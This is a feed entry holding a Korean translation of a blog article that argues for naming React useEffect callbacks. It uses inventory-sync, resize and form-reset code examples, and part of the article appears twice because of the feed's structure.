&lt;p&gt;저는 보통 이 기준을 따릅니다. 이펙트가 자체 상태를 관리하고 재사용될 가능성이 있으면 커스텀 훅으로 만들고, 연관 상태 없이 한 곳에서만 쓰이는 이펙트라면 이름을 붙이고 인라인으로 놔둡니다.&lt;/p&gt;
&lt;p&gt;어떤 경우든 함수에는 이름을 붙입니다. 렌더링 없이 단위 테스트하고 싶은 경우, 특히 서드파티 SDK나 복잡한 외부 시스템과 상호작용하는 이펙트라면 핵심 로직을 별도 모듈로 추출하는 방법도 있습니다.&lt;/p&gt;
&lt;h2 id="이펙트-5개가-3개가-됐습니다"&gt;이펙트 5개가 3개가 됐습니다&lt;/h2&gt;
&lt;p&gt;약 1년 전, Next.js 프로젝트에서 Mapbox 인스턴스를 애플리케이션 상태와 동기화하는 컴포넌트를 작업했습니다. 처음엔 지도 인스턴스 초기화, 줌 레벨 동기화, 지도 중심 좌표 동기화, 마커 클릭 이벤트 처리, 선택된 마커가 변경될 때 이벤트 리스너 정리까지 이펙트가 5개 있었습니다.&lt;/p&gt;
&lt;p&gt;그 파일을 열 때마다 어떤 익명 이펙트가 무슨 일을 하는지 다시 파악하느라 30초씩 허비했습니다.&lt;/p&gt;
&lt;p&gt;그래서 이름을 붙였습니다. &lt;code&gt;initializeMapSDK&lt;/code&gt;, &lt;code&gt;synchronizeZoomLevel&lt;/code&gt;, &lt;code&gt;synchronizeCenterPosition&lt;/code&gt;, &lt;code&gt;handleMarkerInteractions&lt;/code&gt;, &lt;code&gt;cleanupStaleMarkerListeners&lt;/code&gt;. 즉시 어디서 무엇을 디버깅해야 하는지 보였습니다.&lt;/p&gt;
&lt;p&gt;그런데 이름을 붙이니 또 다른 게 보였습니다.&lt;/p&gt;
&lt;p&gt;다섯 가지 이름을 나란히 보고 나니, &lt;code&gt;cleanupStaleMarkerListeners&lt;/code&gt;가 &lt;code&gt;handleMarkerInteractions&lt;/code&gt;와 별개의 관심사가 아니라는 게 보였습니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;handleMarkerInteractions&lt;/code&gt;가 리스너를 추가한다면, &lt;code&gt;cleanupStaleMarkerListeners&lt;/code&gt;는 오래된 리스너를 제거했으므로 사실상 같은 동기화 작업의 클린업 쌍이었습니다.&lt;/p&gt;
&lt;p&gt;두 이펙트를 제대로 된 클린업 반환이 있는 하나의 이펙트로 합쳤고 컴포넌트가 단순해졌습니다. 그다음엔 &lt;code&gt;synchronizeZoomLevel&lt;/code&gt;과 &lt;code&gt;synchronizeCenterPosition&lt;/code&gt;이 지도 인스턴스 준비 여부에 의존성을 동일하게 가졌고, 항상 함께 실행된다는 걸 알아챘습니다. 그래서 둘을 &lt;code&gt;synchronizeMapViewport&lt;/code&gt;로 합쳤습니다.&lt;/p&gt;
&lt;p&gt;그렇게 이펙트 다섯 개가 세 개가 됐고, 세 개의 경계가 원래 다섯 개보다 훨씬 명확해졌습니다.&lt;/p&gt;
&lt;p&gt;Sergio Xalambrí가 2020년에 &lt;code&gt;useEffect&lt;/code&gt; 함수에 이름 붙이기에 대해 글을 썼습니다. Cory House도 같은 말을 했습니다. 새로운 이야기가 아닙니다. 그럼에도 거의 아무도 하지 않는 이유는, 커뮤니티가 집단적으로 &lt;code&gt;useEffect(() =&amp;gt; {&lt;/code&gt;를 이펙트를 쓰는 유일한 방법으로 내재화했기 때문입니다.&lt;/p&gt;
&lt;p&gt;공식 문서든, 튜토리얼이든, AI 생성 코드든 그대로 가져다 씁니다. 익명 화살표 함수가 기본값이 됐고, 한번 굳어진 기본값은 좀처럼 바뀌지 않습니다.&lt;/p&gt;
&lt;p&gt;전환 비용은 거의 없습니다. 새 라이브러리도, 빌드 플러그인도 필요 없습니다. 함수에 이름 하나를 추가하면 되고, 오래된 파일을 열어 모든 이펙트를 다시 읽지 않아도 무슨 일을 하는지 바로 알게 되는 순간 그 차이를 느낄 겁니다.&lt;/p&gt;
&lt;p&gt;오늘부터 이펙트에 이름을 붙여 보세요!&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="참고-자료"&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Kyle Shevlin, &lt;a href="https://kyleshevlin.com/use-encapsulation/"&gt;useEncapsulation&lt;/a&gt; — 모든 훅을 커스텀 훅으로 감싸야 한다는 주장과 eslint-plugin-use-encapsulation ESLint 플러그인&lt;/li&gt;
&lt;li&gt;리액트 공식 문서, &lt;a href="https://react.dev/learn/you-might-not-need-an-effect"&gt;You Might Not Need an Effect&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;리액트 공식 문서, &lt;a href="https://react.dev/learn/reusing-logic-with-custom-hooks"&gt;Reusing Logic with Custom Hooks&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;리액트 레거시 문서, &lt;a href="https://legacy.reactjs.org/docs/hooks-rules.html"&gt;Rules of Hooks&lt;/a&gt; — 예시에서 기명 함수 표현식 사용&lt;/li&gt;
&lt;li&gt;Dan Abramov, &lt;a href="https://overreacted.io/a-complete-guide-to-useeffect/"&gt;A Complete Guide to useEffect&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Sergio Xalambrí, &lt;a href="https://sergiodxa.com/tutorials/name-your-useeffect"&gt;Pro Tip: Name your useEffect functions&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Nate Liu, &lt;a href="https://www.linkedin.com/posts/nate-liu_react-reactjs-webdevelopment-activity-7175559458661498880-VJH8"&gt;1 second refactor tip: readability and maintainability by naming your function&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;deckstar, &lt;a href="https://dev.to/deckstar/react-pro-tip-1-name-your-useeffect-3i7b"&gt;React Pro Tip #1 — Name your useEffect!&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://velog.io/@typo/name-your-effects</id>
    <link href="https://velog.io/@typo/name-your-effects"/>
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;원 저자 &lt;a href="https://www.linkedin.com/in/neciudan/"&gt;Dan Neciu&lt;/a&gt;의 허가 하에 &amp;lt;&lt;a href="https://neciudan.dev/name-your-effects"&gt;Start naming your useEffect functions, you will thank me later&lt;/a&gt;&amp;gt; 아티클을 번역한 글입니다. 약간의 의역 및 오역이 포함되어 있을 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&amp;quot;저는 한 1년 전부터 &lt;code&gt;useEffect&lt;/code&gt; 함수에 이름을 붙이기 시작했습니다. 그 이후로 컴포넌트를 읽고 디버깅하는 방식, 그리고 컴포넌트 구조를 잡는 방식까지 달라졌습니다.&amp;quot;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난달에 동료가 올린 PR을 읽었습니다.&lt;/p&gt;
&lt;p&gt;PR 코드엔 처음 보는 컴포넌트가 있었고 창고 API와 재고를 동기화하는 로직이 구현되었습니다. 약 200줄 분량에 4개의 &lt;code&gt;useEffect&lt;/code&gt;를 호출하고 있었습니다. 하나씩 읽으면서 의존성 배열을 따라가고, 어떤 상태가 어떤 이펙트에 속하는지, 무엇이 무엇을 트리거하는지 파악하는 데 꼬박 1분이 걸렸습니다.&lt;/p&gt;
&lt;p&gt;이런 경험을 수도 없이 해봤고, 여러분도 아마 마찬가지일 겁니다.&lt;/p&gt;
&lt;p&gt;코드 자체에 문제가 있는 게 아니었습니다. 잘 작성된 코드였고, 이펙트도 관심사별로 올바르게 분리되어 있었습니다.&lt;/p&gt;
&lt;p&gt;그럼에도 각 이펙트가 무슨 일을 하는지 파악하려면 모든 줄을 다 읽어야 했습니다. &lt;code&gt;useEffect(() =&amp;gt; {&lt;/code&gt;는 의도에 대해 아무것도 알려주지 않기 때문입니다. 코드가 언제 실행되는지는 알 수 있지만, 왜 실행되는지는 알 수 없습니다.&lt;/p&gt;
&lt;p&gt;이건 클래스 컴포넌트 시대로부터 물려받은 유산이기도 합니다. &lt;code&gt;componentDidMount&lt;/code&gt;와 &lt;code&gt;componentDidUpdate&lt;/code&gt;만 있던 시절에는 생명주기 이벤트마다 사이드 이펙트 코드를 넣을 수 있는 곳이 딱 하나뿐이었습니다.&lt;/p&gt;
&lt;p&gt;그 제약 덕분에 코드의 위치만 봐도 언제 실행되는지 알 수 있었고, &amp;quot;왜&amp;quot;는 주석이나 코드를 직접 읽어야만 알 수 있었습니다.&lt;/p&gt;
&lt;p&gt;훅은 생명주기 제약에서 우리를 해방시켰지만, 그 자리를 익명 화살표 함수가 어두컴컴하게 메꿨습니다.&lt;/p&gt;
&lt;p&gt;거대한 생명주기 메서드 하나 대신, 이제는 익명 클로저가 줄줄이 늘어서 있고, 무슨 일을 하는지 알려면 구현 코드를 직접 읽어야 합니다.&lt;/p&gt;
&lt;p&gt;저는 1년 전부터 이펙트 함수에 이름을 붙이기 시작했습니다. 리액트를 작성하는 방식에서 가장 작은 변화였지만, 읽는 방식에 가장 큰 영향을 미쳤습니다.&lt;/p&gt;
&lt;h2 id="익명-이펙트-함수의-문제"&gt;익명 이펙트 함수의 문제&lt;/h2&gt;
&lt;p&gt;아까 언급한 재고 컴포넌트를 단순화하면 이렇습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;function InventorySync({ warehouseId, locationId, onStockChange }) {
  const [stock, setStock] = useState&amp;lt;StockLevel[]&amp;gt;([]);
  const [connected, setConnected] = useState(false);
  const prevLocationId = useRef(locationId);

  useEffect(() =&amp;gt; {
    const ws = new WebSocket(`wss://inventory.api/ws/${warehouseId}`);
    ws.onopen = () =&amp;gt; setConnected(true);
    ws.onclose = () =&amp;gt; setConnected(false);
    ws.onmessage = (event) =&amp;gt; {
      const update = JSON.parse(event.data);
      setStock(prev =&amp;gt; prev.map(s =&amp;gt;
        s.sku === update.sku ? { ...s, quantity: update.quantity } : s
      ));
    };
    return () =&amp;gt; ws.close();
  }, [warehouseId]);

  useEffect(() =&amp;gt; {
    if (!connected) return;
    fetch(`/api/warehouses/${warehouseId}/stock?location=${locationId}`)
      .then(res =&amp;gt; res.json())
      .then(setStock);
  }, [warehouseId, locationId, connected]);

  useEffect(() =&amp;gt; {
    if (prevLocationId.current !== locationId) {
      setStock([]);
      prevLocationId.current = locationId;
    }
  }, [locationId]);

  useEffect(() =&amp;gt; {
    if (stock.length &amp;gt; 0) {
      onStockChange(stock);
    }
  }, [stock, onStockChange]);

  // ... render
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이펙트가 네 개입니다. 각각 무슨 일을 할까요? 첫 번째 이펙트는... 웹소켓을 연결하는 것 같습니다. 두 번째는 &lt;code&gt;connected&lt;/code&gt;가 바뀔 때 무언가를 가져오는 것 같습니다. 세 번째는 위치가 바뀔 때 재고를 초기화합니다. 네 번째는... 재고가 업데이트될 때마다 props로 받은 콜백을 호출합니다.&lt;/p&gt;
&lt;p&gt;방금 머릿속 컴파일러가 네 번 돌아갔습니다.&lt;/p&gt;
&lt;p&gt;마우스를 댄다고 해서 타입 정보를 볼 수 없고, 제한된 컨텍스트로 변경사항을 훑어볼 수밖에 없는 GitHub 코드 리뷰에서는 이 지점에서 이해 속도가 뚝 떨어집니다.&lt;/p&gt;
&lt;p&gt;PR에 들어 있는 컴포넌트마다 이 과정을 반복해야 합니다.&lt;/p&gt;
&lt;p&gt;이제 동일한 컴포넌트를 다듬은 버전으로 읽어보세요.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;function InventorySync({ warehouseId, locationId, onStockChange }) {
  const [stock, setStock] = useState&amp;lt;StockLevel[]&amp;gt;([]);
  const [connected, setConnected] = useState(false);
  const prevLocationId = useRef(locationId);

  useEffect(function connectToInventoryWebSocket() {
    const ws = new WebSocket(`wss://inventory.api/ws/${warehouseId}`);
    ws.onopen = () =&amp;gt; setConnected(true);
    ws.onclose = () =&amp;gt; setConnected(false);
    ws.onmessage = (event) =&amp;gt; {
      const update = JSON.parse(event.data);
      setStock(prev =&amp;gt; prev.map(s =&amp;gt;
        s.sku === update.sku ? { ...s, quantity: update.quantity } : s
      ));
    };
    return () =&amp;gt; ws.close();
  }, [warehouseId]);

  useEffect(function fetchInitialStock() {
    if (!connected) return;
    fetch(`/api/warehouses/${warehouseId}/stock?location=${locationId}`)
      .then(res =&amp;gt; res.json())
      .then(setStock);
  }, [warehouseId, locationId, connected]);

  useEffect(function resetStockOnLocationChange() {
    if (prevLocationId.current !== locationId) {
      setStock([]);
      prevLocationId.current = locationId;
    }
  }, [locationId]);

  useEffect(function notifyParentOfStockUpdate() {
    if (stock.length &amp;gt; 0) {
      onStockChange(stock);
    }
  }, [stock, onStockChange]);

  // ... render
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이제 함수 이름 네 개만 훑으면 전체 데이터 흐름을 파악할 수 있습니다. 웹소켓 연결, 초기 재고 조회, 위치 변경 시 초기화, 부모에게 알림.&lt;/p&gt;
&lt;p&gt;특정 버그를 디버깅할 게 아니라면 코드 한 줄도 읽을 필요가 없습니다.&lt;/p&gt;
&lt;p&gt;변경 사항은 문법뿐입니다. &lt;code&gt;useEffect&lt;/code&gt;에 익명 화살표 함수 대신 기명 함수 표현식(named function expression)을 전달합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;// 익명 화살표 함수 (모두가 쓰는 방식)
useEffect(() =&amp;gt; {
  document.title = `${count} items`;
}, [count]);

// 기명 함수 표현식 (제가 권장하는 방식)
useEffect(
  function updateDocumentTitle() {
    document.title = `${count} items`;
  },
  [count],
);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;함수를 따로 선언해서 이름으로 전달하는 방법(&lt;code&gt;useEffect(updateDocumentTitle, [count])&lt;/code&gt;)도 있지만, 저는 인라인 방식을 선호합니다. 이름이 호출 지점 바로 옆에 있어서 함수 선언을 찾아 위로 스크롤할 필요가 없기 때문입니다.&lt;/p&gt;
&lt;p&gt;디버깅 측면에서도 이점이 있습니다.&lt;/p&gt;
&lt;p&gt;익명 화살표 함수에서 에러가 발생하면 &lt;code&gt;at (anonymous) @ InventorySync.tsx:14&lt;/code&gt;처럼 표시됩니다.&lt;/p&gt;
&lt;p&gt;한 파일에 이펙트가 네 개 있다면 이 정보는 아무 쓸모가 없습니다.&lt;/p&gt;
&lt;p&gt;기명 함수를 쓰면 &lt;code&gt;at connectToInventoryWebSocket @ InventorySync.tsx:14&lt;/code&gt;처럼 표시되어, 파일을 열지 않고도 어떤 이펙트가 문제인지 바로 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;Sentry 같은 모니터링 도구로 에러 리포트를 분류할 때 특히 유용합니다. 리액트 DevTools 프로파일링에서도 마찬가지입니다. 기명 함수는 이름으로 표시되지만, 익명 함수는 말 그대로 익명으로 표시됩니다.&lt;/p&gt;
&lt;h2 id="이름을-붙이면-과도한-책임이-보입니다"&gt;이름을 붙이면 과도한 책임이 보입니다&lt;/h2&gt;
&lt;p&gt;가독성 측면의 이점만으로도 충분하지만, 이펙트에 이름을 붙이기 시작하면서 다른 일도 일어났습니다. 이펙트를 작성하는 방식 자체에 변화가 생겼습니다.&lt;/p&gt;
&lt;p&gt;이 이펙트에 이름을 붙여보세요.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;useEffect(() =&amp;gt; {
  const handleResize = () =&amp;gt; setWidth(window.innerWidth);
  window.addEventListener(&amp;quot;resize&amp;quot;, handleResize);

  if (user?.preferences?.theme) {
    document.body.className = user.preferences.theme;
  }

  return () =&amp;gt; window.removeEventListener(&amp;quot;resize&amp;quot;, handleResize);
}, [user?.preferences?.theme]);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;뭐라고 부를까요? &lt;code&gt;syncWidthAndApplyTheme&lt;/code&gt;? &amp;quot;and&amp;quot;가 들어간다는 건 경고 신호와 같습니다. 이펙트가 서로 관련 없는 두 가지 일을 하고 있다는 뜻이기 때문입니다.&lt;/p&gt;
&lt;p&gt;&amp;quot;and&amp;quot;나 &amp;quot;also&amp;quot;를 쓰지 않고는 이름을 붙이기 힘들다면, 이펙트가 분리되어야 한다는 신호입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;useEffect(function trackWindowWidth() {
  const handleResize = () =&amp;gt; setWidth(window.innerWidth);
  window.addEventListener(&amp;quot;resize&amp;quot;, handleResize);
  return () =&amp;gt; window.removeEventListener(&amp;quot;resize&amp;quot;, handleResize);
}, []);

useEffect(
  function applyUserTheme() {
    if (user?.preferences?.theme) {
      document.body.className = user.preferences.theme;
    }
  },
  [user?.preferences?.theme],
);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;명확하게 이름을 붙일 수 없다면, 하는 일이 너무 많다는 뜻입니다. 리액트도 생명주기 타이밍이 아니라 관심사별로 이펙트를 분리하도록 권장합니다.&lt;/p&gt;
&lt;p&gt;이름은 주석으로는 할 수 없는 방식으로 그 원칙을 드러냅니다. 주석은 금세 뒤처지지만 이름은 항상 읽힙니다.&lt;/p&gt;
&lt;p&gt;이 효과는 &lt;code&gt;useEffect&lt;/code&gt;에만 국한되지 않습니다. &lt;code&gt;useCallback&lt;/code&gt;, &lt;code&gt;useMemo&lt;/code&gt;, 리듀서 함수 등 훅에 익명 함수를 전달하는 모든 곳에서 이름은 코드를 읽는 다음 사람에게 도움이 됩니다. 하지만 &lt;code&gt;useEffect&lt;/code&gt;에서 효과가 가장 큽니다. 이펙트는 한눈에 이해하기 가장 어려운 훅이기 때문입니다. 실행되는 타이밍이 직관적이지 않고, 보이지 않는 클린업 규칙이 있으며, 의존성을 직접 역추적해야 합니다.&lt;/p&gt;
&lt;p&gt;클린업 함수에도 이름을 붙일 수 있습니다. 익명 화살표 함수를 반환하는 대신 기명 함수를 반환하면 됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;useEffect(
  function pollServerForUpdates() {
    const intervalId = setInterval(() =&amp;gt; {
      fetch(`/api/status/${serverId}`)
        .then((res) =&amp;gt; res.json())
        .then(setServerStatus);
    }, 5000);

    return function stopPollingServer() {
      clearInterval(intervalId);
    };
  },
  [serverId],
);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;클린업은 컨텍스트에서 목적이 명확할 때가 많아서 항상 이름을 붙이지는 않습니다. 하지만 클린업 로직이 복잡할 때는 &lt;code&gt;pollServerForUpdates&lt;/code&gt;와 &lt;code&gt;stopPollingServer&lt;/code&gt;처럼 대칭되는 이름이 설정과 해제의 역할을 한눈에 드러냅니다.&lt;/p&gt;
&lt;h2 id="필요-없는-이펙트는-이름에서부터-알-수-있습니다"&gt;필요 없는 이펙트는 이름에서부터 알 수 있습니다&lt;/h2&gt;
&lt;p&gt;어떤 이펙트는 이름을 붙이기가 애매한데, 그 애매함 자체가 신호입니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;updateStateBasedOnOtherState&lt;/code&gt;나 &lt;code&gt;syncDerivedValue&lt;/code&gt; 같은 이름이 떠오른다면, 멈추세요.&lt;/p&gt;
&lt;p&gt;그런 모호함은 대개 그 코드가 이펙트에 속하지 않는다는 뜻입니다. 이름 붙이기가 어려운 건 이펙트로 처리해선 안 될 일을 하고 있기 때문입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;// 아마 이건 필요 없습니다
useEffect(
  function syncFullName() {
    setFullName(`${firstName} ${lastName}`);
  },
  [firstName, lastName],
);

// 그냥 파생하면 됩니다
const fullName = `${firstName} ${lastName}`;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;왜 이펙트 버전이 더 나쁠까요? 렌더 사이클이 하나 더 발생하기 때문입니다.&lt;/p&gt;
&lt;p&gt;리액트가 컴포넌트를 렌더링하고, 이펙트를 실행하면 &lt;code&gt;setFullName&lt;/code&gt;이 호출되고, 업데이트된 값으로 렌더링이 다시 일어납니다.&lt;/p&gt;
&lt;p&gt;화면이 두 번 업데이트되는 데다, &lt;code&gt;fullName&lt;/code&gt;이 이전 값으로 잠깐 렌더링되는 순간도 생깁니다.&lt;/p&gt;
&lt;p&gt;파생 버전은 렌더 중에 값을 계산하므로 항상 정확하고 항상 동기화 상태이며, 리액트에 추가 부담을 주지 않습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;// 이것도 아마 필요 없습니다
useEffect(
  function resetFormOnSubmit() {
    if (submitted) {
      setName(&amp;quot;&amp;quot;);
      setEmail(&amp;quot;&amp;quot;);
      setSubmitted(false);
    }
  },
  [submitted],
);

// 이벤트 핸들러에 넣으세요
function handleSubmit() {
  submitForm({ name, email });
  setName(&amp;quot;&amp;quot;);
  setEmail(&amp;quot;&amp;quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;폼 초기화는 이벤트 핸들러가 처리해야 할 일입니다. 사용자가 제출 버튼을 클릭하는 건 사용자 인터랙션이므로 인터랙션이 발생하는 곳에서 처리해야 합니다. 이펙트 버전은 &lt;code&gt;submitted&lt;/code&gt; 플래그 변경에 반응하고, 이 추가 단계가 흐름을 파악하기 어렵게 만듭니다.&lt;/p&gt;
&lt;p&gt;이펙트가 8~9개 달린 컴포넌트에서, 그 절반은 애초에 이펙트가 필요 없는 상태 간 동기화였던 경우를 여러 번 봤습니다.&lt;/p&gt;
&lt;p&gt;AI 코드 생성 도구는 이 문제를 더 악화시킵니다. 이펙트를 잘못 사용한 수백만 개의 예시로 학습했기 때문에, 같은 안티패턴을 자신 있게 재현합니다. 잘못된 코드가 다시 학습 데이터가 되는 악순환입니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;InventorySync&lt;/code&gt; 예시로 돌아가보면, 네 번째 이펙트인 &lt;code&gt;notifyParentOfStockUpdate&lt;/code&gt;가 바로 이런 의심을 품어볼 만한 후보입니다.&lt;/p&gt;
&lt;p&gt;상태 변화에 반응하는 이펙트 안에서 부모 콜백을 호출하는 패턴은 리액트 공식 문서의 &amp;quot;You Might Not Need an Effect&amp;quot;에서 구체적으로 언급한 패턴 중 하나입니다.&lt;/p&gt;
&lt;p&gt;부모가 데이터를 직접 가져오거나, 재고 업데이트 시 소스(웹소켓 핸들러, fetch의 &lt;code&gt;.then&lt;/code&gt; 콜백)에서 콜백을 호출하는 방법도 있습니다.&lt;/p&gt;
&lt;p&gt;실제 코드베이스에서 매우 흔한 패턴이라 예시에 남겨뒀지만, 이름을 붙이면서 문제가 눈에 띄었습니다. &lt;code&gt;notifyParentOfStockUpdate&lt;/code&gt;는 이름만으로 하는 일을 정확히 드러냅니다. 그리고 바로 그 명확함이 이 이펙트가 정말 필요한지 되묻게 만들었습니다.&lt;/p&gt;
&lt;p&gt;이 검토를 통과하는 이름에는 패턴이 있습니다. 외부 시스템과 진정으로 동기화하는 이펙트는 대체로 명확하고 구체적인 이름을 가집니다. &lt;code&gt;connectToWebSocket&lt;/code&gt;, &lt;code&gt;initializeMapInstance&lt;/code&gt;, &lt;code&gt;subscribeToGeolocation&lt;/code&gt;처럼 동사에서 이펙트의 종류를 알 수 있습니다. subscribe와 listen은 이벤트 기반, synchronize와 apply는 외부 시스템을 동기 상태로 유지하는 것, initialize는 일회성 설정을 의미합니다.&lt;/p&gt;
&lt;p&gt;열심히 고른 이름에서 내부 상태를 이리저리 옮기는 느낌이 든다면, 그 코드는 다른 곳에 있어야 합니다.&lt;/p&gt;
&lt;p&gt;리액트 19는 이 흐름을 더욱 밀어붙입니다. Actions는 뮤테이션을 처리하고, &lt;code&gt;use()&lt;/code&gt;는 데이터 패칭을 처리하며, 서버 컴포넌트는 데이터 로딩을 위한 클라이언트 사이드 이펙트를 완전히 없앱니다.&lt;/p&gt;
&lt;p&gt;현대 리액트 앱에 남는 이펙트는 외부 시스템과 진짜로 연동되는 코드이고, 바로 그 이펙트에 이름을 잘 붙일 가치가 있습니다.&lt;/p&gt;
&lt;h2 id="이름-붙이기-vs-커스텀-훅"&gt;이름 붙이기 vs 커스텀 훅&lt;/h2&gt;
&lt;p&gt;Kyle Shevlin이 &amp;quot;useEncapsulation&amp;quot;이라는 훌륭한 글을 썼습니다. 모든 &lt;code&gt;useEffect&lt;/code&gt;는 커스텀 훅 안에 있어야 한다는 주장이었습니다.&lt;/p&gt;
&lt;p&gt;그의 논거는 실제 문제에서 출발합니다. 컴포넌트에 훅이 늘어날수록, 한 관심사에 속하는 구현 세부 사항들이 관련 없는 훅 선언들 사이에 흩어지게 됩니다.&lt;/p&gt;
&lt;p&gt;커스텀 훅은 한 관심사의 상태, 이펙트, 핸들러를 한 곳에 모아 이 문제를 해결합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;function useWindowWidth() {
  const [width, setWidth] = useState(
    typeof window !== &amp;quot;undefined&amp;quot; ? window.innerWidth : 0,
  );

  useEffect(function trackWindowWidth() {
    const handleResize = () =&amp;gt; setWidth(window.innerWidth);
    window.addEventListener(&amp;quot;resize&amp;quot;, handleResize);
    return () =&amp;gt; window.removeEventListener(&amp;quot;resize&amp;quot;, handleResize);
  }, []);

  return width;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(&lt;code&gt;typeof window !== &amp;#39;undefined&amp;#39;&lt;/code&gt; 체크는 Next.js처럼 서버 사이드 렌더링을 지원하는 프레임워크에서 필요합니다. 서버에서 컴포넌트가 처음 렌더링될 때는 &lt;code&gt;window&lt;/code&gt;가 존재하지 않기 때문입니다. 순수 클라이언트 사이드 앱을 만든다면 &lt;code&gt;window.innerWidth&lt;/code&gt;를 바로 써도 됩니다.)&lt;/p&gt;
&lt;p&gt;그런데 &lt;code&gt;useWindowWidth&lt;/code&gt; 안에서도 여전히 &lt;code&gt;useEffect&lt;/code&gt;에 이름을 붙였다는 점을 주목하세요.&lt;/p&gt;
&lt;p&gt;커스텀 훅 안에도 이펙트가 여러 개 있을 수 있고, 그 안에서 디버깅할 때 스택 트레이스에 기명 함수가 있으면 여전히 도움이 됩니다.&lt;/p&gt;
&lt;p&gt;모든 것을 커스텀 훅으로 만들 필요는 없습니다. 특정 컴포넌트의 동작에만 쓰이고 재사용될 일이 없는 일회성 이펙트도 있습니다.&lt;/p&gt;
&lt;p&gt;그런 이펙트를 &lt;code&gt;useCloseOnEscapeKeyForThisSpecificModal&lt;/code&gt;로 빼내는 건 아무 이득 없이 간접 계층만 늘리는 일입니다. 리액트 공식 문서도 조기 추상화를 경계합니다. 함수 컴포넌트가 하는 일이 많아질수록 길어지는 건 자연스러운 일이며, 로직이 생겼다고 해서 즉시 별도 파일로 분리할 필요는 없습니다.&lt;/p&gt;
&lt;p&gt;저는 보통 이 기준을 따릅니다. 이펙트가 자체 상태를 관리하고 재사용될 가능성이 있으면 커스텀 훅으로 만들고, 연관 상태 없이 한 곳에서만 쓰이는 이펙트라면 이름을 붙이고 인라인으로 놔둡니다.&lt;/p&gt;
&lt;p&gt;어떤 경우든 함수에는 이름을 붙입니다. 렌더링 없이 단위 테스트하고 싶은 경우, 특히 서드파티 SDK나 복잡한 외부 시스템과 상호작용하는 이펙트라면 핵심 로직을 별도 모듈로 추출하는 방법도 있습니다.&lt;/p&gt;
&lt;h2 id="이펙트-5개가-3개가-됐습니다"&gt;이펙트 5개가 3개가 됐습니다&lt;/h2&gt;
&lt;p&gt;약 1년 전, Next.js 프로젝트에서 Mapbox 인스턴스를 애플리케이션 상태와 동기화하는 컴포넌트를 작업했습니다. 처음엔 지도 인스턴스 초기화, 줌 레벨 동기화, 지도 중심 좌표 동기화, 마커 클릭 이벤트 처리, 선택된 마커가 변경될 때 이벤트 리스너 정리까지 이펙트가 5개 있었습니다.&lt;/p&gt;
&lt;p&gt;그 파일을 열 때마다 어떤 익명 이펙트가 무슨 일을 하는지 다시 파악하느라 30초씩 허비했습니다.&lt;/p&gt;
&lt;p&gt;그래서 이름을 붙였습니다. &lt;code&gt;initializeMapSDK&lt;/code&gt;, &lt;code&gt;synchronizeZoomLevel&lt;/code&gt;, &lt;code&gt;synchronizeCenterPosition&lt;/code&gt;, &lt;code&gt;handleMarkerInteractions&lt;/code&gt;, &lt;code&gt;cleanupStaleMarkerListeners&lt;/code&gt;. 즉시 어디서 무엇을 디버깅해야 하는지 보였습니다.&lt;/p&gt;
&lt;p&gt;그런데 이름을 붙이니 또 다른 게 보였습니다.&lt;/p&gt;
&lt;p&gt;다섯 가지 이름을 나란히 보고 나니, &lt;code&gt;cleanupStaleMarkerListeners&lt;/code&gt;가 &lt;code&gt;handleMarkerInteractions&lt;/code&gt;와 별개의 관심사가 아니라는 게 보였습니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;handleMarkerInteractions&lt;/code&gt;가 리스너를 추가한다면, &lt;code&gt;cleanupStaleMarkerListeners&lt;/code&gt;는 오래된 리스너를 제거했으므로 사실상 같은 동기화 작업의 클린업 쌍이었습니다.&lt;/p&gt;
&lt;p&gt;두 이펙트를 제대로 된 클린업 반환이 있는 하나의 이펙트로 합쳤고 컴포넌트가 단순해졌습니다. 그다음엔 &lt;code&gt;synchronizeZoomLevel&lt;/code&gt;과 &lt;code&gt;synchronizeCenterPosition&lt;/code&gt;이 지도 인스턴스 준비 여부에 의존성을 동일하게 가졌고, 항상 함께 실행된다는 걸 알아챘습니다. 그래서 둘을 &lt;code&gt;synchronizeMapViewport&lt;/code&gt;로 합쳤습니다.&lt;/p&gt;
&lt;p&gt;그렇게 이펙트 다섯 개가 세 개가 됐고, 세 개의 경계가 원래 다섯 개보다 훨씬 명확해졌습니다.&lt;/p&gt;
